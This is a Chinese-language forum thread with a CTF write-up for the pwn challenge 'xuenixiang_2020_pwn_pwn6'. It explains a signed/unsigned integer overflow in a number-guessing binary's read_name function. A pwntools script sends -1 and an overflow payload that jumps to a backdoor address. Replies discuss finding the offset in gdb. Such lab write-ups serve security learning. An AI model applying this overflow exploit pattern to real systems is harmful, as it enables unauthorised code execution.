roger 发表于 2020-4-25 20:31:10

xuenixiang_2020_pwn_pwn6


- 首先程序是个比较简单的32位elf,是个猜数字游戏


- 漏洞点在read_name函数有个整数溢出,v2为有符号数,而for循环中i为无符号数,所以当有符号数与无符号数比较时,会将有符号数强制转换成无符号数,当输入-1时,v2在比较中就变成了最大的正数,因此可以栈溢出

![](https://upload-images.jianshu.io/upload_images/5808046-a3922f6a71acd358.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

- 程序正好有个后门,直接栈溢出执行后门即可得到flag

![](https://upload-images.jianshu.io/upload_images/5808046-27d55d287b3f4bb2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)


- exp

```
from pwn import *

context.log_level = 'debug'

#p = process('./f4n_pwn')
p = remote('127.0.0.1',9999)

p.recvuntil('length : ')
p.sendline('-1')
payload = 'a'*0x57 + p32(0x080486BB)
p.recvuntil('name : \n')
p.sendline(payload)

p.interactive()
```
源码如下:

**** Hidden Message *****

xiaofei0115 发表于 2020-5-26 16:29:40

老师,我在GDB中输入-1以后 输入全a或者全b都可以实现溢出,但是输入cyclic 200 的字符串发现并没有栈溢出程序能够正常运行,非常奇怪。

xiaofei0115 发表于 2020-5-26 16:36:34


roger 发表于 2020-5-26 18:07:16

xiaofei0115 发表于 2020-5-26 16:36


没懂你意思,再描述清楚点

roger 发表于 2020-5-26 18:07:53

xiaofei0115 发表于 2020-5-26 16:36


但是输入cyclic 200 的字符串发现并没有栈溢出程序能够正常运行这句话我没读懂

roger 发表于 2020-5-26 18:09:16

roger 发表于 2020-5-26 18:07
但是输入cyclic 200 的字符串发现并没有栈溢出程序能够正常运行这句话我没读懂 ...

你的意思是不是没有溢出?具体情况具体分析吧,你自己调试一下找找原因

xiaofei0115 发表于 2020-5-26 23:01:53

经过晚上调式发现这题的几个有意思的地方。第一个这题除了整数溢出以外还有数组溢出。name哪里其实是一个数组的溢出导致的。第二个算这个偏移有点意思,用原有的cyclic 200程序直接截断正常运行,没有达到溢出效果。如果全a或者全b是都可以的。也不知道问题在哪里。但是可以通过gdb调式堆出偏移位0x57

roger 发表于 2020-5-27 00:01:05

xiaofei0115 发表于 2020-5-26 23:01
经过晚上调式发现这题的几个有意思的地方。第一个这题除了整数溢出以外还有数组溢出。name哪里其实是一个数 ...

那就足够了…不需要过于纠结那些细节,影响学习进度,可以先往后推进,可能某一天这个问题就迎刃而解了

zhouruijie 发表于 2020-7-22 16:08:33

第一次做这种 看一下解答

snorlax 发表于 2022-9-18 17:25:00

学习一下
页: [1]
查看完整版本: xuenixiang_2020_pwn_pwn6